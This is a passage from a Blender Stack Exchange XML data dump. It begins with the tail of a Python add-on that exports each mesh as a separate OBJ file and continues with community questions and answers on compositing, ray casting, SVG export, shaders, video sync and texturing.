  use_mesh_modifiers_setting: BoolProperty(&#xA;            name=&amp;quot;Apply Modifiers&amp;quot;,&#xA;            description=&amp;quot;Apply modifiers (preview resolution)&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;&#xA;    # extra data group&#xA;    use_edges_setting: BoolProperty(&#xA;            name=&amp;quot;Include Edges&amp;quot;,&#xA;            description=&amp;quot;&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    use_smooth_groups_setting: BoolProperty(&#xA;            name=&amp;quot;Smooth Groups&amp;quot;,&#xA;            description=&amp;quot;Write sharp edges as smooth groups&amp;quot;,&#xA;            default=False,&#xA;            )&#xA;    use_smooth_groups_bitflags_setting: BoolProperty(&#xA;            name=&amp;quot;Bitflag Smooth Groups&amp;quot;,&#xA;            description=&amp;quot;Same as 'Smooth Groups', but generate smooth groups IDs as bitflags &amp;quot;&#xA;                        &amp;quot;(produces at most 32 different smooth groups, usually much less)&amp;quot;,&#xA;            default=False,&#xA;            )&#xA;    use_normals_setting: BoolProperty(&#xA;            name=&amp;quot;Write Normals&amp;quot;,&#xA;            description=&amp;quot;Export one normal per vertex and per face, to represent flat faces and sharp edges&amp;quot;,&#xA;            default=False,&#xA;            )&#xA;    use_uvs_setting: BoolProperty(&#xA;            name=&amp;quot;Include UVs&amp;quot;,&#xA;            description=&amp;quot;Write out the active UV coordinates&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    use_materials_setting: BoolProperty(&#xA;            name=&amp;quot;Write Materials&amp;quot;,&#xA;            description=&amp;quot;Write out the MTL file&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    use_triangles_setting: BoolProperty(&#xA;            name=&amp;quot;Triangulate Faces&amp;quot;,&#xA;            description=&amp;quot;Convert all faces to triangles&amp;quot;,&#xA;            default=False,&#xA;            )&#xA;    use_nurbs_setting: BoolProperty(&#xA;            name=&amp;quot;Write Nurbs&amp;quot;,&#xA;            description=&amp;quot;Write nurbs curves as OBJ nurbs rather than &amp;quot;&#xA;                        &amp;quot;converting to geometry&amp;quot;,&#xA;            default=False,&#xA;            )&#xA;    use_vertex_groups_setting: BoolProperty(&#xA;            name=&amp;quot;Polygroups&amp;quot;,&#xA;            description=&amp;quot;&amp;quot;,&#xA;            default=False,&#xA;            )&#xA;&#xA;    use_blen_objects_setting: BoolProperty(&#xA;            name=&amp;quot;Objects as OBJ Objects&amp;quot;,&#xA;            description=&amp;quot;&amp;quot;,&#xA;            default=True,&#xA;            )&#xA;    group_by_object_setting: BoolProperty(&#xA;            name=&amp;quot;Objects as OBJ Groups &amp;quot;,&#xA;            description=&amp;quot;&amp;quot;,&#xA;            default=False,&#xA;            )&#xA;    group_by_material_setting: BoolProperty(&#xA;            name=&amp;quot;Material Groups&amp;quot;,&#xA;            description=&amp;quot;&amp;quot;,&#xA;            default=False,&#xA;            )&#xA;    keep_vertex_order_setting: BoolProperty(&#xA;            name=&amp;quot;Keep Vertex Order&amp;quot;,&#xA;            description=&amp;quot;&amp;quot;,&#xA;            default=False,&#xA;            )&#xA;    axis_forward_setting: EnumProperty(&#xA;            name=&amp;quot;Forward&amp;quot;,&#xA;            items=(('X', &amp;quot;X Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('Y', &amp;quot;Y Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('Z', &amp;quot;Z Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-X', &amp;quot;-X Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-Y', &amp;quot;-Y Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-Z', &amp;quot;-Z Forward&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ),&#xA;            default='-Z',&#xA;            )&#xA;    axis_up_setting: EnumProperty(&#xA;            name=&amp;quot;Up&amp;quot;,&#xA;            items=(('X', &amp;quot;X Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('Y', &amp;quot;Y Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('Z', &amp;quot;Z Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-X', &amp;quot;-X Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-Y', &amp;quot;-Y Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('-Z', &amp;quot;-Z Up&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ),&#xA;            default='Y',&#xA;            )&#xA;    global_scale_setting: FloatProperty(&#xA;            name=&amp;quot;Scale&amp;quot;,&#xA;            min=0.01, max=1000.0,&#xA;            default=1.0,&#xA;            )&#xA;    path_mode_setting: EnumProperty(&#xA;            name=&amp;quot;Path Mode&amp;quot;,&#xA;            items=(('AUTO', &amp;quot;Auto&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('ABSOLUTE', &amp;quot;Absolute&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('RELATIVE', &amp;quot;Relative&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('MATCH', &amp;quot;Match&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('STRIP', &amp;quot;Strip&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ('COPY', &amp;quot;Copy&amp;quot;, &amp;quot;&amp;quot;),&#xA;                   ),&#xA;            default='AUTO',&#xA;        )&#xA;&#xA;    def execute(self, context):                &#xA;&#xA;        # get the folder&#xA;        folder_path = os.path.dirname(self.filepath)&#xA;&#xA;        # get objects selected in the viewport&#xA;        viewport_selection = context.selected_objects&#xA;&#xA;        # get export objects&#xA;        obj_export_list = viewport_selection&#xA;        if self.use_selection_setting == False:&#xA;            obj_export_list = [i for i in context.scene.objects]&#xA;&#xA;        # deselect all objects&#xA;        bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;        for item in obj_export_list:&#xA;            item.select_set(True)&#xA;            if item.type == 'MESH':&#xA;                file_path = os.path.join(folder_path, &amp;quot;{}.obj&amp;quot;.format(item.name))&#xA;                &#xA;                bpy.ops.export_scene.obj(&#xA;                        filepath=file_path,&#xA;                        use_selection=self.use_selection_setting,&#xA;                        axis_forward=self.axis_forward_setting, &#xA;                        axis_up=self.axis_up_setting,&#xA;                        use_animation=self.use_animation_setting, &#xA;                        use_mesh_modifiers=self.use_mesh_modifiers_setting,&#xA;                        use_edges=self.use_edges_setting, &#xA;                        use_smooth_groups=self.use_smooth_groups_setting,&#xA;                        use_smooth_groups_bitflags=self.use_smooth_groups_bitflags_setting, &#xA;                        use_normals=self.use_normals_setting,&#xA;                        use_uvs=self.use_uvs_setting, &#xA;                        use_materials=self.use_materials_setting,&#xA;                        use_triangles=self.use_triangles_setting, &#xA;                        use_nurbs=self.use_nurbs_setting, &#xA;                        use_vertex_groups=self.use_vertex_groups_setting, &#xA;                        use_blen_objects=self.use_blen_objects_setting, &#xA;                        group_by_object=self.group_by_object_setting, &#xA;                        group_by_material=self.group_by_material_setting, &#xA;                        keep_vertex_order=self.keep_vertex_order_setting, &#xA;                        global_scale=self.global_scale_setting,&#xA;                        path_mode=self.path_mode_setting&#xA;                )&#xA;            item.select_set(False)&#xA;&#xA;        # restore viewport selection&#xA;        for ob in viewport_selection:&#xA;            ob.select_set(True)&#xA;            &#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;# Only needed if you want to add into a dynamic menu&#xA;def menu_func_import(self, context):&#xA;    self.layout.operator(ExportMultipleObjs.bl_idname, text=&amp;quot;Wavefront Batch (.obj)&amp;quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ExportMultipleObjs)&#xA;    bpy.types.TOPBAR_MT_file_export.append(menu_func_import)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ExportMultipleObjs)&#xA;    bpy.types.TOPBAR_MT_file_export.remove(menu_func_import)&#xA;&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    #bpy.ops.export_scene.multiple_objs('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Version for &lt;strong&gt;Blender 2.7x&lt;/strong&gt;: &lt;a href=&quot;https://gist.github.com/p2or/e8ca8c93398e3c586d2b8cb2c4346552&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/p2or/e8ca8c93398e3c586d2b8cb2c4346552&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; It's just a  wrapper of &lt;a href=&quot;https://docs.blender.org/api/current/bpy.ops.export_scene.html?highlight=bpy.ops.export_scene.obj#bpy.ops.export_scene.obj&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.ops.export_scene.obj&lt;/code&gt;&lt;/a&gt; operator until exporting multiple files is supported officially.&lt;/p&gt;&#xA;&lt;p&gt;To &lt;strong&gt;import multiple obj files&lt;/strong&gt; see this answer: &lt;a href=&quot;https://blender.stackexchange.com/a/31825/3710&quot;&gt;How to batch import Wavefront OBJ files?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2021-02-20T14:51:18.557" LastActivityDate="2021-02-20T14:51:18.557" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="31853" PostTypeId="2" ParentId="31851" CreationDate="2015-06-02T18:08:10.867" Score="1" Body="&lt;p&gt;Open a new instance of Blender.&lt;br&gt;&#xA;Set the project render settings; render size, # of frames, output etc.&lt;br&gt;&#xA;Switch to the compositor view.&lt;br&gt;&#xA;In the compositor; select use nodes, then with your mouse over the Node editor window press &quot;SHIFT + A&quot; on the keyboard, and select Input -&gt; Image. In the node that appears click Open, then navigate to the directory containing the image sequence you wish to process, and select the frames to use (images should be named as frame numbers i.e. 001.png 002.png etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="13901" LastActivityDate="2015-06-02T18:08:10.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31854" PostTypeId="2" ParentId="31841" CreationDate="2015-06-02T18:31:38.880" Score="3" Body="&lt;p&gt;You can use the functions from &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/mathutils.geometry.html#mathutils.geometry.intersect_ray_tri&quot; rel=&quot;nofollow&quot;&gt;mathutils.geometry&lt;/a&gt; to deal with geometry&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/mathutils.geometry.html#mathutils.geometry.intersect_ray_tri&quot; rel=&quot;nofollow&quot;&gt;intersect_ray_tri&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/mathutils.geometry.html#mathutils.geometry.tessellate_polygon&quot; rel=&quot;nofollow&quot;&gt;tesselate_polygon&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;further you can use the functions from &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy_extras.view3d_utils.html&quot; rel=&quot;nofollow&quot;&gt;view3d_utils&lt;/a&gt; to deal with viewport coordinates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the template &lt;code&gt;operator_modal_view3d_raycast.py&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def main(context, event, ray_max=1000.0):&#xA;    &quot;&quot;&quot;Run this function on left mouse, execute the ray cast&quot;&quot;&quot;&#xA;    # get the context arguments&#xA;    scene = context.scene&#xA;    region = context.region&#xA;    rv3d = context.region_data&#xA;    coord = event.mouse_region_x, event.mouse_region_y&#xA;&#xA;    # get the ray from the viewport and mouse&#xA;    view_vector = view3d_utils.region_2d_to_vector_3d(region, rv3d, coord)&#xA;    ray_origin = view3d_utils.region_2d_to_origin_3d(region, rv3d, coord)&#xA;&#xA;    ray_target = ray_origin + (view_vector * ray_max)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-06-02T18:31:38.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31855" PostTypeId="1" AcceptedAnswerId="32056" CreationDate="2015-06-02T19:14:46.387" Score="6" ViewCount="688" Body="&lt;p&gt;Following &lt;a href=&quot;https://blender.stackexchange.com/questions/23661/render-3d-mesh-to-2d-svg-export&quot;&gt;this post&lt;/a&gt;, I exported a scene to an SVG format using the bundled add-on (&quot;Render: Freestyle SVG Exporter&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I did that I noticed that the resulting SVG has a bunch of unnecessary points, as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nLn9V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to remove those extra points and only have one point at each corner? (Note that I only have the outer path selected.) I have Blender v2.74.&lt;/p&gt;&#xA;" OwnerUserId="14697" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2016-01-16T21:39:45.503" Title="Remove extra points in export to SVG" Tags="&lt;export&gt;&lt;freestyle&gt;&lt;path&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31856" PostTypeId="1" AcceptedAnswerId="31875" CreationDate="2015-06-02T19:25:33.600" Score="2" ViewCount="113" Body="&lt;p&gt;I'd like to use some sort of re-usable animations (think little animated effects, simple but a lot of them), that I can play during my main animation, without creating multiple actions, or having multiple nla blocks. I was thinking that animated dupli-groups would be ideal. But can I choose when animation in animated dupli-groups starts? If not, then this way clearly won't work.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-06-03T03:08:24.707" Title="Can I choose when animation in animated dupli-groups starts?" Tags="&lt;animation&gt;&lt;dupli-groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31857" PostTypeId="1" AcceptedAnswerId="31859" CreationDate="2015-06-02T19:43:21.223" Score="5" ViewCount="185" Body="&lt;p&gt;I watched Andrew Price's tutorial on baking in Cycles, and I noticed that after he baked it to an image, he plugged the color output of that image into the color of an emission shader with a value of 1 for it's energy parameter.  What is the significance of an emission shader with a value of one?&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="12805" LastEditDate="2015-06-02T19:44:44.353" LastActivityDate="2015-06-02T20:27:39.983" Title="The Significance of 1 Energy Unit When Baking in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31858" PostTypeId="1" AcceptedAnswerId="32747" CreationDate="2015-06-02T19:55:28.727" Score="6" ViewCount="1974" Body="&lt;p&gt;Currently working through Match Track Blend (version 01) with my shiny newish computer w/16 GB Ram on Windows 7. Have set my Sequencer / Clip Editor Memory Cache Limit to 8192.A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On rendering the first lesson (this one - &lt;a href=&quot;https://www.youtube.com/watch?v=w3E3zRQSpcI&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=w3E3zRQSpcI&lt;/a&gt; - as found on my DVD), I found that upon playing the output .avi in VLC, the audio in the .avi file was out of sync with the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm aware of the AV-Sync feature in the VSE, but this is a feature to help the editor while in the VSE and should have no bearing on the final .avi file)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Investigating, I found that when importing the original footage (from DVD, file 'tracking_intro.mov', with Render Properties Frame Rate set to 25FPS) and then exporting as HDTV 720p at 25FPS, the resulting render (with no changes to content) has the audio rushing the video by about half a second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The audio and video strips perfectly match each other's position in the VSE. Everything indicates that it should output a video roughly equivalent to the video it imported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, what in hell? Does anybody have a solution? Really wanted to get into some video editing, but it seems pointless unless I can solve this audio problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source file is tracking_intro.mov from the Match Track Blend DVD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gQiyz.png&quot; alt=&quot;My blender settings before clicking &amp;#39;render animation&amp;#39;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Rev&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Had this problem years ago when I first got the DVD, but figured the problem was down to my hardware. Now I know there has to be some settings somewhere that'll solve this issue...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;==== EDIT ====&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have since experimented with time stamps and image tracks. The image tracks seem to work just perfectly - outputting a video file perfectly in sync with the audio. However, in examining the video file in VSE, I've discovered that the original video track appears to have several frames at the start of the video which do not show up in the VLC file, nor in the exported image files, nor in the reimported image track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In these frames, Sebastien raises his head and opens his eyes before he begins to speak. In addition, VLC's statistics for the file seem to show some lost frames...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZsW41.png&quot; alt=&quot;Lost frames?&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not looking for any trouble here - I'm just trying to understand the situation for my own satisfaction. As pointed out below, Sebastian suggests that we work with image files, which makes sense. But in case I encounter this problem again - is this a case of a slightly borked file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks to all who've looked in at this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Rev&lt;/p&gt;&#xA;" OwnerUserId="1203" LastEditorUserId="1203" LastEditDate="2015-06-18T19:15:17.563" LastActivityDate="2015-06-20T13:44:26.117" Title="Why, despite matching FPS, does the audio not match the video in the rendered file?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31859" PostTypeId="2" ParentId="31857" CreationDate="2015-06-02T20:18:44.250" Score="7" Body="&lt;p&gt;An emission shader with a strength of 1 will output the exact same colors as it's given as input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DcOLD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Higher or lower strengths will brighten or darken the output.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-06-02T20:27:39.983" LastActivityDate="2015-06-02T20:27:39.983" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31860" PostTypeId="2" ParentId="31836" CreationDate="2015-06-02T20:31:52.850" Score="0" Body="&lt;p&gt;Like the above, but if it's regularly failing to respond during rendering, save a copy to a flash drive (and an external backup drive as well if you have a compatible one,) and &lt;em&gt;then&lt;/em&gt; let it render. Just put a sticky note over it and turn the monitor off. Then go out and do something else for a while.&lt;/p&gt;&#xA;" OwnerUserId="13814" LastActivityDate="2015-06-02T20:31:52.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31862" PostTypeId="2" ParentId="31397" CreationDate="2015-06-02T20:50:56.853" Score="1" Body="&lt;p&gt;I have that problem too. Try making the focal area larger, although it may be an issue with having two cameras.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, the snarky answer would be to restore down the game window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could do it like MarcClintDion commented. But really, make a note of the position of each camera, and slowly move them until you get the results you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check if it's only going to fail with width. See if you can't stack the screens on top of each other, and see what effect that has on the width.&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="13814" LastEditDate="2015-06-02T21:00:52.143" LastActivityDate="2015-06-02T21:00:52.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31863" PostTypeId="1" CreationDate="2015-06-02T21:24:44.313" Score="5" ViewCount="262" Body="&lt;p&gt;I'm completely new to Blender so I have no idea how to make this work but I almost made it (I think). I'm trying to make a player model for Garry'a Mod using a model and textures from another game. I have the .obj, .mtl and texture pictures in the same folders. I have edited the .obj s and .mtl s to use the correct files (I think I did it right). When I open the .obj files and put it into texture mode, or whatever it is, I can't see textures on any of them, but when I set it to texture paint I can see the textures on the selected piece. I feel like I'm close, but I don't know how to do it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also went to the little row of editing things near the top right, added a new texture, and selected the picture file before I did the texture paint (If it makes a difference).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pictures Of Situation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vtZeF.png&quot; alt=&quot;Fresh from import&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BmE1M.png&quot; alt=&quot;Added the texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C0aGE.png&quot; alt=&quot;In object mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wiWuc.png&quot; alt=&quot;In texture paint mode&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14770" LastEditorUserId="3401" LastEditDate="2015-12-22T18:27:19.373" LastActivityDate="2017-07-24T11:43:31.707" Title="Getting Textures To Apply" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31865" PostTypeId="1" CreationDate="2015-06-02T21:47:09.763" Score="1" ViewCount="20" Body="&lt;p&gt;I want to know if I can create an animation in a separate Blender file, and put it into another file so I don't have to worry about the scenery in my Animation. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14773" LastActivityDate="2015-06-02T21:47:09.763" Title="Can I import animations into other blender files?" Tags="&lt;import&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-06-02T23:03:27.107" ContentLicense="CC BY-SA 3.0" />
  <row Id="31866" PostTypeId="1" AcceptedAnswerId="31880" CreationDate="2015-06-02T22:21:09.060" Score="8" ViewCount="2595" Body="&lt;p&gt;Is there an easy way to control how the extruded width of a curve object is oriented, for example like this&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Cbh4I.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or this&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KZxWn.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The curve in the images above has only two control points, and I got the effect by rotating one of the points. However, for a curve with lots of control points it would be somewhat difficult or at least tedious to achieve this. Is there a simpler way?&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-06-02T23:08:43.027" LastActivityDate="2015-06-04T10:32:57.333" Title="Controlling the direction of curve extrusion" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31868" PostTypeId="5" CreationDate="2015-06-03T01:09:57.147" Score="0" Body="" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-06-03T01:09:57.147" LastActivityDate="2015-06-03T01:09:57.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31869" PostTypeId="4" CreationDate="2015-06-03T01:09:57.147" Score="0" Body="Dupli-groups duplicate an object at each face, vertex or edge of a mesh. " OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-06-03T01:09:57.147" LastActivityDate="2015-06-03T01:09:57.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31870" PostTypeId="5" CreationDate="2015-06-03T01:34:56.670" Score="0" Body="&lt;p&gt;The knife tool cuts through meshes, adding vertices and edges. It can be activated using &lt;kbd&gt;K&lt;/kbd&gt;. It has several options: Cut though &lt;kbd&gt;Z&lt;/kbd&gt;, Angle Constrain &lt;kbd&gt;C&lt;/kbd&gt;, Deactivate snap &lt;kbd&gt;Shift&lt;/kbd&gt;. The cut can be confirmed with &lt;kbd&gt;Spacebar&lt;/kbd&gt; or &lt;kbd&gt;Enter&lt;/kbd&gt;. Vertices/Turning points can be added with LMB, and the operation canceled with RMB.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-06-03T01:34:56.670" LastActivityDate="2015-06-03T01:34:56.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31871" PostTypeId="4" CreationDate="2015-06-03T01:34:56.670" Score="0" Body="The Knife Tool cuts new edges into meshes, adding vertices to user-defined points regardless of existing topology. The Knife Project Tool projects the topology of one object onto another, using the current view angle. Use this tag for questions pertaining to the Knife Tool and the Knife Project Tool." OwnerUserId="3127" LastEditorUserId="599" LastEditDate="2015-06-03T11:52:53.187" LastActivityDate="2015-06-03T11:52:53.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31875" PostTypeId="2" ParentId="31856" CreationDate="2015-06-03T03:08:24.707" Score="2" Body="&lt;p&gt;&lt;strong&gt;Currently this isn't supported&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This used to be supported (in 2.49), using the &lt;em&gt;Time Offset&lt;/em&gt; field on the empty object instancing the dupli-group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However support for this is planned. One of the goals for having an improved dependency graph (currently in development), is to have local time for group instances.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-03T03:08:24.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31876" PostTypeId="2" ParentId="31841" CreationDate="2015-06-03T03:12:33.890" Score="3" Body="&lt;h2&gt;Ray Casting&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Currently Blender doesn't have an off-the-shelf solution for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently ray casting can be realized with the functions from &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/mathutils.geometry.html&quot; rel=&quot;nofollow&quot;&gt;mathutils.geometry&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/mathutils.geometry.html#mathutils.geometry.intersect_ray_tri&quot; rel=&quot;nofollow&quot;&gt;intersect_ray_tri&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/mathutils.geometry.html#mathutils.geometry.tessellate_polygon&quot; rel=&quot;nofollow&quot;&gt;tesselate_polygon&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See also the template &lt;code&gt;Operator Modal View3D Raycast&lt;/code&gt;as an example how to deal with viewport coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is a patch to support defining your own BVHTree you can do ray-casts against.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/D966&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/D966&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative you could use a KDTree written in Python (quite a few exist).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Blender mesh as a proxy&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As a workaround you could define a mesh who's only purpose is to perform ray-casts on. You can draw it wire-only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj_proxy.draw_type = &quot;WIRE&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the &lt;code&gt;obj_proxy&lt;/code&gt; variable refers to Blender object which mesh is used as the proxy.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;OpenGL picking&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could support OpenGL selection by reading back the pixels of the buffer to see which face is under the cursor. See &lt;code&gt;GL_SELECT&lt;/code&gt; or &lt;code&gt;ARB_occlusion_query&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Am not sure enough of OpenGL is exposed by &lt;code&gt;bgl&lt;/code&gt; to perform occlusion queries, it may have to be extended - though this would require a custom build or submitting a patch for a future release).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-06-03T23:01:56.527" LastActivityDate="2015-06-03T23:01:56.527" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
